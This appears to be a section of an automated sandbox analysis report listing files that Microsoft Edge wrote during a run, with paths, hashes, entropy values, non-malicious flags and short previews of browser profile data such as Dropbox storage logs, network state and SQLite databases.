Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.dropbox.com_0.indexeddb.leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	584950
Entropy (8bit):	4.928186272256952
Encrypted:	false
SSDEEP:	3072:PCCL9RtGndJgHMC/ABmnDh38n7tsJl21v4O+5WRN+5rXdaHW+HuBYGvZjQurzhoN:ZW
MD5:	0D8DEBD6FD05A54490514781918AABF7
SHA1:	8629D905A8C44727277DF3D79ECA491B55639FB8
SHA-256:	8F26B52377B2418B7B9BBFF6DD4F96BA206083BE76FED58DF91D8181275DBDDE
SHA-512:	3DD4127218B733818645A254E4BD1CDB2C71581565BB7C9F8AD3C274EB65E643EF4DE360B9FD928CBDBCF2994F8E786D8A477761B582B27FD85D8748F2AC5393
Malicious:	false
Preview:	. ......................2......."........................................p........................E.......h.t.t.p.s._.w.w.w...d.r.o.p.b.o.x...c.o.m._.0.@.1..u.n.u.s.e.d.......................gz........................O.......h.t.t.p.s._.w.w.w...d.r.o.p.b.o.x...c.o.m._.0.@.1..a.p.e.x.M.e.t.r.i.c.s......................=-..........................K.L.............................2.......................2........................Q.6...............................2....s.p.a.n.s......2..;......n.a.m.e.s.p.a.c.e..t.a.g.N.a.m.e.s..t.a.g.V.a.l.u.e.s......2..........2..........2..........2..........2..........2.............s.p.a.n.s........2...........................2....................2........2....................2........2....................2........2....................2........2....................2........2....................2........2....................2........2....................2........2.......................s.p.a.n.s...p...$.................2..........d.....n.a.m.e.s.p.a.c.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.dropbox.com_0.indexeddb.leveldb\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.dropbox.com_0.indexeddb.leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	359
Entropy (8bit):	5.333217688821303
Encrypted:	false
SSDEEP:	6:7olsQEq1cNwi23oH+TcwtEqSrARB2KLlpolH+q2PcNwi23oH+TcwtEqSrAVIFUv:7bQEcZYebmARFLTNvLZYebmAiFUv
MD5:	1AE8F18E04D045A2CA7B06A64B29BADF
SHA1:	42C43407C68EF8C4A1CDB8F11C71F1656F948480
SHA-256:	2878157D56F1E8D9B714C20621343944F758C6AA7E1E3EE6B0E8AB064C9F22FB
SHA-512:	3D0DF475AB21F8AC97FB2BABE81554CB7BE57A5F9A5FF5DB2DBEE3D551F7C37681AD8D45654E87423F515A80610990ED643560F326407A9C67484EADB04FF574
Malicious:	false
Preview:	2024/12/19-07:44:51.454 988 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.dropbox.com_0.indexeddb.leveldb since it was missing..2024/12/19-07:44:51.469 988 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.dropbox.com_0.indexeddb.leveldb/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.dropbox.com_0.indexeddb.leveldb\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	23
Entropy (8bit):	4.142914673354254
Encrypted:	false
SSDEEP:	3:Fdb+4Ll:Zl
MD5:	3FD11FF447C1EE23538DC4D9724427A3
SHA1:	1335E6F71CC4E3CF7025233523B4760F8893E9C9
SHA-256:	720A78803B84CBCC8EB204D5CF8EA6EE2F693BE0AB2124DDF2B81455DE02A3ED
SHA-512:	10A3BD3813014EB6F8C2993182E1FA382D745372F8921519E1D25F70D76F08640E84CB8D0B554CCD329A6B4E6DE6872328650FEFA91F98C3C0CFC204899EE824
Malicious:	false
Preview:	........idb_cmp1......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	411
Entropy (8bit):	5.315185234923793
Encrypted:	false
SSDEEP:	12:7FdvLZYeb8rcHEZrELFUt8OF1//+OF1t54ZYeb8rcHEZrEZSJ:7blYeb8nZrExg8O3j3/oYeb8nZrEZe
MD5:	8D28E4D6F1EFDB9023FF455EA7A0568A
SHA1:	004A878862F028ED025268E0C7D90EEAC4B3ABF3
SHA-256:	33A6B7A4C3E756C3E9CD854F0984660F5EAE761F72C6210902333D29F39C9691
SHA-512:	52A546587EC248C353EB568B81F5FA44FF461DF113786080F44E163561A61628447FA9D7F16C7BE32AF8C30A802EA1D0863AECD4D63DC8D0AFFBB649FA753A1D
Malicious:	false
Preview:	2024/12/19-07:44:32.628 988 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/19-07:44:32.629 988 Recovering log #3.2024/12/19-07:44:32.629 988 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	411
Entropy (8bit):	5.315185234923793
Encrypted:	false
SSDEEP:	12:7FdvLZYeb8rcHEZrELFUt8OF1//+OF1t54ZYeb8rcHEZrEZSJ:7blYeb8nZrExg8O3j3/oYeb8nZrEZe
MD5:	8D28E4D6F1EFDB9023FF455EA7A0568A
SHA1:	004A878862F028ED025268E0C7D90EEAC4B3ABF3
SHA-256:	33A6B7A4C3E756C3E9CD854F0984660F5EAE761F72C6210902333D29F39C9691
SHA-512:	52A546587EC248C353EB568B81F5FA44FF461DF113786080F44E163561A61628447FA9D7F16C7BE32AF8C30A802EA1D0863AECD4D63DC8D0AFFBB649FA753A1D
Malicious:	false
Preview:	2024/12/19-07:44:32.628 988 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/19-07:44:32.629 988 Recovering log #3.2024/12/19-07:44:32.629 988 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	577
Entropy (8bit):	5.594818496166713
Encrypted:	false
SSDEEP:	12:p9WiSbrmyUTKuNKiXHefUo8H5dUy0aWiEm8y6XHefUg8DiY:p9WiAyTT1X+fV8Zd10aWiGbX+fGDiY
MD5:	81DC08A220E31578BA90F8D84673B6EC
SHA1:	96EF7F364E3854E383B18928C5DEA1EBBEC154D5
SHA-256:	3B573992AF247A68554AB282394F58AF534152902C68907B0D0B3F8D7D0E19F0
SHA-512:	F1E98EC175B87D80A774C98F42BBE349DA47F645E6E1534962E35C9482850AAF86098E4CE6E3B841D913833511F4D958E39F2F3486CE4FAFF8A8D391361940FD
Malicious:	false
Preview:	.o.Z................VERSION.1..META:https://www.dropbox.com.............(_https://www.dropbox.com..amp-sink-cache..CgQYPCBkEgYIw6qQuwYaBQj3rOU3.,_https://www.dropbox.com..amp-sink-origin-id%.003ac1ec-04bc-4bf9-9f2f-94cf6a520eca./_https://www.dropbox.com..pap_session_last_used..1734612292239.+_https://www.dropbox.com..pap_session_value..1734612292154s.-..................META:https://www.dropbox.com...........0_https://www.dropbox.com..amp-persisted-spans-v2..[]./_https://www.dropbox.com..pap_session_last_used..1734612306932._https://www.dropbox.com..__storage_test__

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.209869239294462
Encrypted:	false
SSDEEP:	6:7oPWVq2PcNwi23oH+Tcwt8a2jMGIFUt8OoPnYgZmw+OoPf+IkwOcNwi23oH+Tcw2:71VvLZYeb8EFUt8OMYg/+OpI54ZYeb8N
MD5:	5A07CBBB0E5C33E918C9A24D6B8679CD
SHA1:	9A396F017BD38718A7A698FCBAAB78FCC593C168
SHA-256:	67427E3CDF6F7046B5E244491702E431D07F02E75EBCD393CA74AFEAAE1CA476
SHA-512:	4CA6054D9C08E41BAC87883375E656D36E95888DA27DCB023D23C461BE84B829311C58D4862E6FD007C3608A8FD50AD3CAFAFCED981A6C99D379EE179D532FC1
Malicious:	false
Preview:	2024/12/19-07:44:29.566 440 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/19-07:44:29.568 440 Recovering log #3.2024/12/19-07:44:29.571 440 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.209869239294462
Encrypted:	false
SSDEEP:	6:7oPWVq2PcNwi23oH+Tcwt8a2jMGIFUt8OoPnYgZmw+OoPf+IkwOcNwi23oH+Tcw2:71VvLZYeb8EFUt8OMYg/+OpI54ZYeb8N
MD5:	5A07CBBB0E5C33E918C9A24D6B8679CD
SHA1:	9A396F017BD38718A7A698FCBAAB78FCC593C168
SHA-256:	67427E3CDF6F7046B5E244491702E431D07F02E75EBCD393CA74AFEAAE1CA476
SHA-512:	4CA6054D9C08E41BAC87883375E656D36E95888DA27DCB023D23C461BE84B829311C58D4862E6FD007C3608A8FD50AD3CAFAFCED981A6C99D379EE179D532FC1
Malicious:	false
Preview:	2024/12/19-07:44:29.566 440 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/19-07:44:29.568 440 Recovering log #3.2024/12/19-07:44:29.571 440 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0081b90f-7502-4edb-b574-8c84878fc531.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1796458c-c6ac-462c-b023-485ca905406a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2057
Entropy (8bit):	5.312931568618649
Encrypted:	false
SSDEEP:	48:YcCpfC0gCzs8jtsQfc7RsQJC5sXleeBkEszqWOBTbyD0:F2fhnn27JfkeBkRuTn
MD5:	1F5631CD564829CB200D27D088277CA7
SHA1:	6B40591F1C2856E7CC8D7D80C7F371ADFA374097
SHA-256:	2E2204FE4409AABEB059BCF4B150667704DCA7252D5459763B22AF027414FAAB
SHA-512:	5499E3F62182C08F96E3C96460FF42A15FABB3BCDC129A86BB02C7ECC8DB280F45A02532CD665564620E734EC82F42B8E03314B0C44FB7F1308C138ECD3C4759
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381677873383950","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381677876685529","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",f

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\213921c5-d220-4c69-9be1-2db3e437f667.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\393cb0ec-f38b-4f14-ad60-41502f711551.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\875fc3d3-6bc7-4a27-a061-4d7f01aaf48a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.302994819295006
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyD0:F2vu22keBxukOhn
MD5:	90B46E2386024DB7264E402160E5F3B4
SHA1:	3B2E2F784405DFE32CFE038FAF9F0121224877BB
SHA-256:	C56B810798569D26A6B771B8DED39C12F26FAC419F019BC878C6B001FBFA501D
SHA-512:	FA97B24F01A6378FA4A2B3875E9694AC90F0C469E14675FE657DB2F6728C9C9A5D665766F97FE72F533AA89E38C0F0B700C364B85C75867AB6F0083EDD05B186
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 9, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.9211197397746136
Encrypted:	false
SSDEEP:	96:ige+Au4dFxyNgqrek1euKHXs+qpsVPLCIk:igTOxyd4VPLC
MD5:	39B5F17085D3E19CBD767A2DED1E1665
SHA1:	292173540DE3D676247287F7CB3C2DD84FC3157F
SHA-256:	7FCF114E211AEFBEFB01A5FD598391D5C1BFA33D6B84343FA649E08900B6BF74
SHA-512:	A38BC022B050CE1760F3D4FFE658126B2FF01860622AC0DFFC2CA8656C3856956DB769A0F1F5B5272DE2A320231539E3A0C28268F104E25D30A7F4F6AB0D5B20
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.302994819295006
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyD0:F2vu22keBxukOhn
MD5:	90B46E2386024DB7264E402160E5F3B4
SHA1:	3B2E2F784405DFE32CFE038FAF9F0121224877BB
SHA-256:	C56B810798569D26A6B771B8DED39C12F26FAC419F019BC878C6B001FBFA501D
SHA-512:	FA97B24F01A6378FA4A2B3875E9694AC90F0C469E14675FE657DB2F6728C9C9A5D665766F97FE72F533AA89E38C0F0B700C364B85C75867AB6F0083EDD05B186
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF35a46.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.302994819295006
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyD0:F2vu22keBxukOhn
MD5:	90B46E2386024DB7264E402160E5F3B4
SHA1:	3B2E2F784405DFE32CFE038FAF9F0121224877BB
SHA-256:	C56B810798569D26A6B771B8DED39C12F26FAC419F019BC878C6B001FBFA501D
SHA-512:	FA97B24F01A6378FA4A2B3875E9694AC90F0C469E14675FE657DB2F6728C9C9A5D665766F97FE72F533AA89E38C0F0B700C364B85C75867AB6F0083EDD05B186
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.111450293358294
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB8H:JkIEumQv8m1ccnvS6qD1cI9fLW1a
MD5:	58E18AA0850704F37D77F231E0DE84A5
SHA1:	75D006DCC0310DCB2693CFAAE42F743741A0C655
SHA-256:	838AEE94EBAF8DCB180DD71440F24361BC517E1E7EEC1C14C615DDAF96647B5B
SHA-512:	B327BB96AB8F7FED53FCE21A81410E0EC104EE10C18C010A8819C2AE21B3FB2CA0D330C7F164F57AC4A21F7AE79DDDA6F3970167ABDF51ABDCA5718D2ED6EE2D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF24414.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF25d49.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c077fa64-74a6-4dd9-bc7f-e80d02fd452a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.7391107375212417
Encrypted:	false
SSDEEP:	12:TLSnAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3isvhldvd0dtdjiG1d6XfN:TLSOUOq0afDdWec9sJAhvlXI7J5fc
MD5:	A74BFDCBFB880F469AD54BEF7B1B0C88
SHA1:	0012DD82FEB43839A30557EAF9E8DB2EB7259142
SHA-256:	63DFF3D10BF10F8F5326776956AF6DE1463CF0A14792C4451D4A76EFA1BF4BA2
SHA-512:	203FC220BF05344052340CCC6F77233669C200FDC6596EEE6F5D1E2203328D7D116BF07DE664D1D60EA2CD96F006406A9F0A2035BFAA86C93A103193E6EA4583
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Pdf\pdfSQLite

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	6144
